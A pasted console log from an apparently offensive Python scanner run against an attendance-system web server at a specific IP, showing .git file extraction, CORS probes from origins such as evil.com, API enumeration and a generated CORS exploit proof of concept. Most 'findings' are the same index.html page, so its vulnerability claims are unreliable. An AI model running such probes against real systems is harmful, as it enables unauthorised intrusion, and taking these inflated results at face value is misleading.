Pastein: C:\>python apy.py ╔═════════════════════════════════════════════════════════

Загрузка данных
C:\>python apy.py

    ╔══════════════════════════════════════════════════════════╗
    ║      ATTENDANCE SYSTEM EXPLOITATION FRAMEWORK            ║
    ║      Target: http://172.140.140.79                       ║
    ╚══════════════════════════════════════════════════════════╝


============================================================
[CRITICAL] EXPLOITING .git/ DIRECTORY EXPOSURE
============================================================
[+] Extracted: .git/HEAD (1609 bytes)
[+] Extracted: .git/config (1609 bytes)

[ANALYSIS] Git Config:
[+] Extracted: .git/description (1609 bytes)
[+] Extracted: .git/index (1609 bytes)
[+] Extracted: .git/packed-refs (1609 bytes)
[+] Extracted: .git/logs/HEAD (1609 bytes)
[+] Extracted: .git/logs/refs/heads/main (1609 bytes)
[+] Extracted: .git/refs/heads/main (1609 bytes)
  [+] Got commit object: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96" />
  <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
  <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
  <link rel="manifest" href="/site.webmanifest" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Attendance â DavamiyyÉt sistemi</title>
  <!-- Ð¨ÑÐ¸ÑÑÑ Ð¾ÑÐ´Ð°ÑÑ ÑÐ°Ð¼Ð¾ Ð¿ÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ðµ (public/fonts, ÑÐ¼. src/styles/fonts.css):
       ÑÐ¸ÑÑÐµÐ¼Ð° ÑÐ°Ð±Ð¾ÑÐ°ÐµÑ Ð² Ð¸Ð·Ð¾Ð»Ð¸ÑÐ¾Ð²Ð°Ð½Ð½Ð¾Ð¹ ÑÐµÑÐ¸, Google Fonts ÑÐ°Ð¼ Ð½ÐµÐ´Ð¾ÑÑÑÐ¿ÐµÐ½. -->
  <link rel="preload" href="/fonts/inter-latin.woff2" as="font" type="font/woff2" crossorigin />
  <link rel="preload" href="/fonts/material-symbols-rounded.woff2" as="font" type="font/woff2" crossorigin />
  <meta name="theme-color" content="#6e56cf" />
  <script type="module" crossorigin src="/assets/index-DDvxpjxN.js"></script>
  <link rel="modulepreload" crossorigin href="/assets/react-DU4o2KqP.js">
  <link rel="modulepreload" crossorigin href="/assets/vendor-CzjfoTQ7.js">
  <link rel="modulepreload" crossorigin href="/assets/i18n-BOSUbBHT.js">
  <link rel="modulepreload" crossorigin href="/assets/qrcode-D-DKnWsB.js">
  <link rel="modulepreload" crossorigin href="/assets/router-DYpmgKtp.js">
  <link rel="stylesheet" crossorigin href="/assets/index-DyZd9SbS.css">
</head>

<body>
  <div id="root"></div>
</body>

</html>
[+] Extracted: .git/refs/heads/master (1609 bytes)
  [+] Got commit object: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96" />
  <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
  <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
  <link rel="manifest" href="/site.webmanifest" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Attendance â DavamiyyÉt sistemi</title>
  <!-- Ð¨ÑÐ¸ÑÑÑ Ð¾ÑÐ´Ð°ÑÑ ÑÐ°Ð¼Ð¾ Ð¿ÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ðµ (public/fonts, ÑÐ¼. src/styles/fonts.css):
       ÑÐ¸ÑÑÐµÐ¼Ð° ÑÐ°Ð±Ð¾ÑÐ°ÐµÑ Ð² Ð¸Ð·Ð¾Ð»Ð¸ÑÐ¾Ð²Ð°Ð½Ð½Ð¾Ð¹ ÑÐµÑÐ¸, Google Fonts ÑÐ°Ð¼ Ð½ÐµÐ´Ð¾ÑÑÑÐ¿ÐµÐ½. -->
  <link rel="preload" href="/fonts/inter-latin.woff2" as="font" type="font/woff2" crossorigin />
  <link rel="preload" href="/fonts/material-symbols-rounded.woff2" as="font" type="font/woff2" crossorigin />
  <meta name="theme-color" content="#6e56cf" />
  <script type="module" crossorigin src="/assets/index-DDvxpjxN.js"></script>
  <link rel="modulepreload" crossorigin href="/assets/react-DU4o2KqP.js">
  <link rel="modulepreload" crossorigin href="/assets/vendor-CzjfoTQ7.js">
  <link rel="modulepreload" crossorigin href="/assets/i18n-BOSUbBHT.js">
  <link rel="modulepreload" crossorigin href="/assets/qrcode-D-DKnWsB.js">
  <link rel="modulepreload" crossorigin href="/assets/router-DYpmgKtp.js">
  <link rel="stylesheet" crossorigin href="/assets/index-DyZd9SbS.css">
</head>

<body>
  <div id="root"></div>
</body>

</html>
[+] Extracted: .git/objects/00/info/packs (1609 bytes)
[+] Extracted: .git/COMMIT_EDITMSG (1609 bytes)
[+] Extracted: .git/info/refs (1609 bytes)
[+] Extracted: .git/info/exclude (1609 bytes)

[*] Enumerating git objects...
  [+] Found 0 objects

[*] Total extracted: 13 files
[*] Saved to: extracted_git\172.140.140.79/

============================================================
[HIGH] CORS DATA EXFILTRATION ATTACK
============================================================

[!] CORS VULNERABLE: /api/auth
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/user
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:
    [+] Data accessible: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x9...

[!] CORS VULNERABLE: /api/admin
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /graphql
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /health
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /metrics
    Origin: https://evil.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/auth
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/user
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:
    [+] Data accessible: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x9...

[!] CORS VULNERABLE: /api/admin
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /graphql
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /health
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /metrics
    Origin: http://localhost:3000
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/auth
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/user
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:
    [+] Data accessible: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x9...

[!] CORS VULNERABLE: /api/admin
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /graphql
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /health
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /metrics
    Origin: https://attacker-controlled-site.com
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/auth
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /api/user
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:
    [+] Data accessible: <!doctype html>
<html lang="en-GB">

<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/x-icon" href="/favicon.ico" sizes="any" />
  <link rel="icon" type="image/png" href="/favicon-96x9...

[!] CORS VULNERABLE: /api/admin
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /graphql
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /health
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

[!] CORS VULNERABLE: /metrics
    Origin: null
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials:

============================================================
[INFO] GRAPHQL INTROSPECTION ATTACK
============================================================
[-] GraphQL introspection not available or disabled

============================================================
[INFO] API ENDPOINT ENUMERATION
============================================================
[200] /api/auth/login
[200] /api/auth/register
[200] /api/user/profile
[200] /api/user/list
[200] /api/admin/users
[200] /api/admin/config
[200] /health
[200] /metrics
[404] /swagger.json
[200] /api-docs
[200] /v1/api/users
[200] /api/v2/users

============================================================
[MEDIUM] CSRF BYPASS ATTACK
============================================================
[+] Login request without CSRF: 405
    Response:

============================================================
[INFO] GENERATING HTML PoC
============================================================
[+] PoC saved to: cors_exploit_poc.html

============================================================
EXPLOITATION COMPLETE
============================================================
[*] Full report saved to: exploitation_report.json
[*] Git extraction saved to: extracted_git/
[*] CORS PoC saved to: cors_exploit_poc.html

[!] CRITICAL ACTIONS REQUIRED:
    - Remove .git/ directory from web root IMMEDIATELY
    - Implement strict CORS policy with whitelist
    - Enable CSRF tokens on all state-changing operations
    - Disable GraphQL introspection in production
    - Implement authentication on all API endpoints
    - Add security headers (HSTS, CSP, X-Frame-Options)

C:\>
Больше возможностей при регистрации:
